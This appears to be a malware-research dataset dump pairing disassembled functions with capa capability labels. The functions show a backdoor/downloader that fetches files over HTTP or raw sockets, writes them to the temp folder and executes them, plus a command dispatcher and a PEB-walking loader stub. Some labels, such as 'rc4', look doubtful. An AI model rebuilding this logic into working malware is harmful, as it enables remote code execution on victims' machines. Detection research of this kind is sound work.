joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100059ef
Capabilities:
Check http status code
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2214
call fcn.10006a40
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.2__SV1__.NET_CLR_1.1.4322_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x10005a1c
xor eax, eax
jmp 0x10005b25
push ebx
push 0x80000100
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10005b1a
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], bl
mov dword [ebp - 8], 0xfa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
push 0x13
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10005b0f
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
cmp eax, 0xc8
jne 0x10005b0f
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005b0f
mov ecx, 0x800
xor eax, eax
lea edi, [ebp - 0x2213]
mov byte [ebp - 0x2214], bl
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2214]
push 0x2000
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10005b05
cmp dword [ebp - 4], ebx
je 0x10005b05
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x2214]
push dword [ebp - 4]
mov dword [ebp + 0xc], ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10005ac8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x10005b28
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
and word [ebp - 0x10], 0
push esi
push edi
xor eax, eax
lea edi, [ebp - 0xe]
and byte [ebp - 0x44], 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
xor eax, eax
pop ecx
lea edi, [ebp - 0x43]
push dword [ebp + 8]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call esi
push dword [ebp + 8]
cmp eax, 0xffffffff
jne 0x10005ba1
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
je 0x10005bf2
and word [ebp - 0x20], 0
xor eax, eax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
movsx eax, word [ecx + 0xa]
push eax
mov eax, dword [ecx + 0xc]
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x44]
push eax
call esi
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0
push 1
push 2
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
jbe 0x10005bf2
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005bf6
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005bf8
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10005c1b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x18]
xor ebx, ebx
test edi, edi
jle 0x10005c4f
push 0
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10005c54
cmp eax, 0xffffffff
je 0x10005c54
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, dword [esp + 0x18]
jl 0x10005c2c
push 1
pop eax
jmp 0x10005c56
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x10005c5a
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1000a11c
mov dword [ebp - 4], 0x50
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10005ca7
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.10005882
pop ecx
pop ecx
jmp 0x10005cc1
lea eax, [ebp - 0x208]
push 0x1000a01c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1000a008]
mov dword [ebp - 4], eax
push dword [ebp - 4]
lea eax, [ebp - 0x208]
push eax
call fcn.10005b28
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x10005db8
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 8]
push 4
push eax
mov edi, 0xffff
push 0x1005
push edi
push ebx
mov dword [ebp - 8], 0x5265c00
call esi
cmp eax, 0xffffffff
je 0x10005db1
lea eax, [ebp - 8]
push 4
push eax
push 0x1006
push edi
push ebx
call esi
cmp eax, 0xffffffff
je 0x10005db1
lea eax, [ebp - 0xc]
push 4
push eax
push ebx
mov dword [ebp - 0xc], 0x45998782
call fcn.10005bfc
add esp, 0xc
test eax, eax
je 0x10005db1
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x1000a008
mov dword [ebp - 0x108], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xec], eax
mov eax, dword [0x1000a010]
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0x108]
push eax
call fcn.10004867
mov esi, pe_nt_image_headers32
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1000484e
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call fcn.10005bfc
add esp, 0x1c
test eax, eax
je 0x10005db1
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push 4
push eax
push ebx
call fcn.10005c1b
add esp, 0xc
test eax, eax
jne 0x10005dbc
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005dbe
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005dc3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
lea eax, [ebp - 4]
push 4
xor ebx, ebx
push eax
push esi
mov dword [ebp - 4], ebx
call fcn.10005c1b
add esp, 0xc
test eax, eax
je 0x10005e27
mov eax, dword [ebp - 4]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
mov eax, dword [ebp - 4]
mov byte [edi + eax], bl
push dword [ebp - 4]
push edi
push esi
call fcn.10005c1b
add esp, 0x10
test eax, eax
je 0x10005e20
lea eax, [ebp + 0xc]
push 4
push eax
push esi
mov dword [ebp + 0xc], ebx
call fcn.10005c1b
add esp, 0xc
test eax, eax
jne 0x10005e2e
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor eax, eax
jmp 0x10005eb3
push dword [ebp + 0xc]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push eax
push esi
call fcn.10005c1b
add esp, 0x10
test eax, eax
je 0x10005ea1
push 0x5c
push ebx
push edi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
cmp eax, ebx
je 0x10005ea1
inc eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005ea1
lea eax, [ebp - 0xc]
push ebx
push eax
mov dword [ebp - 0xc], ebx
push dword [ebp + 0xc]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, ebx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006193
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
xor ebx, ebx
push esi
push ebx
push dword [ebp + 8]
call fcn.10005c5a
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x100061f5
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x200]
push eax
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x200]
push esi
push eax
call fcn.10005dc3
pop ecx
pop ecx
pop edi
test eax, eax
push esi
jne 0x100061f9
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006215
call dword [sym.imp.WS2_32.dll_closesocket]
push 5
push ebx
lea eax, [ebp - 0x200]
push ebx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
pop eax
pop esi
pop ebx
leave
ret
Function at 0x10006219
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push dword [esi + 4]
push dword [esi]
call fcn.10005c5a
pop ecx
pop ecx
xor ecx, ecx
cmp eax, ecx
je 0x100062b4
mov esi, dword [esi]
mov edx, 0x1f41
cmp esi, edx
je 0x100062a4
jbe 0x1000629b
cmp esi, 0x1f44
jbe 0x10006291
cmp esi, 0x1f45
je 0x10006287
cmp esi, 0x1f46
je 0x1000627d
cmp esi, 0x1f47
je 0x10006273
cmp esi, 0x1f48
jne 0x1000629b
push ecx
push ecx
push eax
push 0x10005f74
jmp 0x100062ac
push ecx
push ecx
push eax
push 0x10006076
jmp 0x100062ac
push ecx
push ecx
push eax
push 0x1000602c
jmp 0x100062ac
push ecx
push ecx
push eax
push 0x10005fee
jmp 0x100062ac
push ecx
push ecx
push eax
push 0x10005f2a
jmp 0x100062ac
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
ret
push ecx
push ecx
push eax
push 0x10005fb0
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret

Function at 0x100062de
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
push edi
lea eax, [ebp - 4]
push 4
push eax
mov edi, 0xffff
push 0x1005
push edi
push ebx
mov dword [ebp - 4], 0x2bf20
call esi
cmp eax, 0xffffffff
je 0x10006324
lea eax, [ebp - 4]
push 4
push eax
push 0x1006
push edi
push ebx
call esi
cmp eax, 0xffffffff
jne 0x10006333
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor esi, esi
mov ebx, 0x1f4b
xor eax, eax
lea edi, [ebp - 8]
mov dword [ebp - 0xc], esi
push 8
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.10005c1b
add esp, 0xc
test eax, eax
je 0x1000632b
mov eax, dword [ebp - 0xc]
cmp eax, ebx
ja 0x100063b5
je 0x100063a3
cmp eax, 0x1f41
jb 0x1000633a
cmp eax, 0x1f48
jbe 0x10006397
mov ecx, 0x1f49
cmp eax, ecx
je 0x10006389
cmp eax, 0x1f4a
jne 0x1000633a
push esi
push esi
push eax
push 0x100060b4
jmp 0x100063ab
push ecx
call fcn.10006193
cmp eax, 1
pop ecx
je 0x100063d4
jmp 0x1000633a
lea eax, [ebp - 0xc]
push eax
call fcn.10006219
pop ecx
jmp 0x1000633a
push esi
push esi
push ebx
push fcn.10006193
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1000633a
sub eax, 0x7532
je 0x100063d4
dec eax
dec eax
je 0x100063d1
dec eax
jne 0x1000633a
push 1
call fcn.10004b78
pop ecx
jmp 0x100063d9
push esi
jmp 0x100063c9
call fcn.100062b6
push 2
jmp 0x1000632d
Function at 0x100063e0
Capabilities:
Check if file exists
Create thread
Delete file
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
xor ebx, ebx
cmp dword [0x1000a014], ebx
push esi
push edi
je 0x1000640c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1000a3e4
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x1000a018], ebx
jbe 0x10006419
call fcn.1000571b
call fcn.10004940
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 1
jg 0x100064c7
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x214]
push str.gdiplus.dll
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100064c7
push ebx
push 0x1f4c
call fcn.10005c5a
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x1000649f
lea eax, [ebp - 0x214]
push eax
push edi
call fcn.10005eb8
pop ecx
test eax, eax
pop ecx
jne 0x100064c4
push edi
call esi
mov eax, dword [0x1000a00c]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10004940
cmp eax, 1
jle 0x1000642d
jmp 0x100064c7
push edi
call esi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call fcn.1000665a
push ebx
push 0x1f40
call fcn.10005c5a
pop ecx
cmp eax, ebx
pop ecx
mov dword [0x1000a7ec], eax
je 0x10006536
cmp dword [0x1000a7e4], ebx
je 0x10006513
push ebx
push ebx
push ebx
push 0x100046b2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x1000a7ec]
call fcn.100062de
pop ecx
mov edi, eax
push dword [0x1000a7ec]
call esi
cmp dword [0x1000a7e8], ebx
jne 0x1000654a
cmp edi, 2
je 0x1000654a
mov eax, dword [0x1000a00c]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100064e5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43c0b2
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
sub ebp, 1
jne 0x43c0b3
pop ebp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov edi, dword [eax + 0x10]
call 0x43c0cd
pop esi
lea edx, [edi + 0x1000]
lea ecx, [edx + 0x1c800]
lea ebx, [esi + 0x273]
lea ebp, [ebx + 0x20]
push edx
push ecx
push ebx
push ebp
call section.sect_4
add esp, 0x10
lea eax, [edi + 0x8430]
jmp eax
Function at 0x10010a60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
test eax, eax
jg 0x10010a84
jl 0x10010a79
test ecx, ecx
jne 0x10010a84
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
push esi
push edi
mov edi, ecx
je 0x10010b5b
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
nop dword [eax + eax]
mov ecx, ebx
call fcn.10024f10
mov ecx, edx
mov esi, eax
mov dword [ebp - 8], ecx
test ecx, ecx
jl 0x10010af3
jg 0x10010ab8
test esi, esi
je 0x10010af3
mov eax, dword [ebp - 4]
cmp eax, ecx
jg 0x10010acb
nop
jl 0x10010ac6
cmp edi, esi
jae 0x10010acb
mov esi, edi
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push dword [ebp + 8]
call fcn.100ec200
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [ebp - 4]
sub edi, esi
sbb ecx, dword [ebp - 8]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov eax, dword [ebp + 8]
jmp 0x10010b18
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x10010b45
mov eax, dword [ebp + 8]
add edi, 0xffffffff
mov esi, 1
mov byte [eax], cl
mov ecx, dword [ebp - 4]
adc ecx, 0xffffffff
add eax, esi
mov dword [ebp - 4], ecx
mov dword [ebp + 8], eax
test ecx, ecx
jg 0x10010aa0
jl 0x10010b48
test edi, edi
jne 0x10010aa0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x10010b9d
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 8], edx
mov eax, dword [eax]
test eax, eax
je 0x10010ba3
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.100ec200
mov eax, dword [ebx + 0x2c]
add esp, 0xc
add dword [ebp + 8], esi
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x10010ba3
lea eax, [ebx + 0x2c]
mov dword [ebp - 8], eax
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x10010c19
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10010bcf
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [eax], edx
cmp edi, 0xfff
jbe 0x10010c04
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.10114883
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10010c19
nop
cmp edi, eax
ja 0x10010be0
test edi, edi
je 0x10010c19
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.10114883
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10011c80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call fcn.100631a0
call fcn.10063f00
jmp fcn.100333c0
Function at 0x10038f40
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10240b04]
lea edx, [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax + 0x1cdc]
mov esi, 4
mov eax, dword [ebp + 8]
add edi, 0xc4
mov dword [ebp + 8], eax
mov eax, dword [edi]
mov ebx, dword [edi + 8]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x1015ca00]
sub esi, 1
jne 0x10038f70
mov esi, dword [edi + 4]
not ebx
mov ecx, dword [edi]
cmp ecx, esi
jne 0x10038fb7
inc ecx
test esi, esi
je 0x10038fa5
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add eax, esi
jmp 0x10038faa
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.1004f1c0
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [eax + ecx*4], ebx
inc dword [edi]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10038fe0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10240b04]
lea edx, [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax + 0x1cdc]
mov esi, 4
mov eax, dword [ebp + 8]
add edi, 0xc4
mov dword [ebp + 8], eax
mov eax, dword [edi]
mov ebx, dword [edi + 8]
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x1015ca00]
sub esi, 1
jne 0x10039010
mov esi, dword [edi + 4]
not ebx
mov ecx, dword [edi]
cmp ecx, esi
jne 0x10039057
inc ecx
test esi, esi
je 0x10039045
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add eax, esi
jmp 0x1003904a
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, edi
call fcn.1004f1c0
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [eax + ecx*4], ebx
inc dword [edi]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1003e240
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
not ebx
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
test edi, edi
je 0x1003e2a6
mov cl, byte ds:[esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x1003e289
cmp edi, 2
jb 0x1003e289
cmp byte [esi], cl
jne 0x1003e289
cmp byte [esi + 1], cl
jne 0x1003e289
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1015ca00]
jmp 0x1003e257
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x1015ca00]
test edi, edi
jne 0x1003e257
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x1003e2d8
nop dword [eax]
cmp cl, 0x23
jne 0x1003e2bf
cmp byte [esi], cl
jne 0x1003e2bf
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x1015ca00]
test cl, cl
jne 0x1003e2b0
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x1003eb20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
dec eax
push ebx
mov ebx, dword [ebp + 8]
mov ecx, ebx
mov dword [ebp - 0x10], ecx
lea eax, [ebx + eax*4]
mov dword [ebp - 0x18], eax
cmp ebx, eax
mov eax, dword [ebp + 0x10]
jae 0x1003ecdf
push esi
mov esi, dword [ebp + 0x14]
push edi
nop dword [eax + eax]
test esi, esi
je 0x1003eb5c
cmp eax, esi
jae 0x1003ecda
mov bl, byte [eax]
mov byte [ebp + 0xf], bl
test bl, bl
je 0x1003ecda
movzx ecx, bl
mov edx, esi
shr ecx, 3
xor ebx, ebx
movsx ecx, byte [ecx + 0x1015cf40]
test ecx, ecx
mov dword [ebp - 0xc], ecx
sete bl
add ebx, ecx
mov dword [ebp - 0x14], ebx
test esi, esi
jne 0x1003eb8e
lea edx, [ebx + eax]
cmp eax, edx
lea esi, [eax + 1]
sbb cl, cl
and cl, byte [ebp + 0xf]
mov byte [ebp - 3], cl
cmp esi, edx
jae 0x1003eba3
mov bh, byte [esi]
jmp 0x1003eba5
xor bh, bh
lea esi, [eax + 2]
mov byte [ebp - 2], bh
cmp esi, edx
jae 0x1003ebb3
mov ch, byte [esi]
jmp 0x1003ebb5
xor ch, ch
lea esi, [eax + 3]
mov byte [ebp - 1], ch
cmp esi, edx
jae 0x1003ebc3
mov bl, byte [esi]
jmp 0x1003ebc5
xor bl, bl
movzx edx, ch
movzx ecx, cl
movzx esi, bh
movzx edi, bl
mov byte [ebp + 0xf], bl
mov ebx, dword [ebp - 0xc]
mov ebx, dword [ebx*4 + 0x1015cf60]
and ebx, ecx
mov ecx, esi
and ecx, 0x3f
mov dword [ebp - 8], ebx
shl dword [ebp - 8], 6
and esi, 0xc0
or dword [ebp - 8], ecx
mov ecx, edx
shl dword [ebp - 8], 6
and ecx, 0x3f
or dword [ebp - 8], ecx
and edx, 0xc0
shl dword [ebp - 8], 6
mov ecx, edi
mov ebx, dword [ebp - 8]
and ecx, 0x3f
or ebx, ecx
shr edi, 2
mov ecx, dword [ebp - 0xc]
or edi, edx
shr edi, 2
or edi, esi
shr edi, 2
mov ecx, dword [ecx*4 + 0x1015cf88]
shr ebx, cl
mov esi, ebx
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 0xc]
cmp esi, dword [ebx*4 + 0x1015cf74]
sbb ecx, ecx
xor edx, edx
and ecx, 0x40
or edi, ecx
mov ecx, esi
and ecx, 0xfffff800
cmp ecx, 0xd800
mov ecx, 0x80
cmove edx, ecx
mov ecx, 0x10ffff
or edi, edx
cmp ecx, esi
sbb ecx, ecx
and ecx, 0x100
or edi, ecx
mov ecx, dword [ebx*4 + 0x1015cf9c]
mov ebx, dword [ebp - 0x14]
xor edi, 0x2a
sar edi, cl
test edi, edi
je 0x1003ecb8
xor edx, edx
mov esi, 0xfffd
cmp byte [ebp + 0xf], dl
setne dl
xor ecx, ecx
cmp byte [ebp - 1], cl
setne cl
add edx, ecx
xor ecx, ecx
cmp byte [ebp - 2], cl
setne cl
add edx, ecx
xor ecx, ecx
cmp byte [ebp - 3], cl
setne cl
add edx, ecx
cmp ebx, edx
cmovl edx, ebx
add eax, edx
jmp 0x1003ecbe
add eax, ebx
test esi, esi
je 0x1003ecd7
mov ecx, dword [ebp - 0x10]
mov dword [ecx], esi
add ecx, 4
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x10], ecx
cmp ecx, dword [ebp - 0x18]
jb 0x1003eb50
jmp 0x1003ecda
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
pop edi
pop esi
mov edx, dword [ebp + 0x18]
mov dword [ecx], 0
test edx, edx
je 0x1003ecee
mov dword [edx], eax
sub ecx, ebx
sar ecx, 2
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret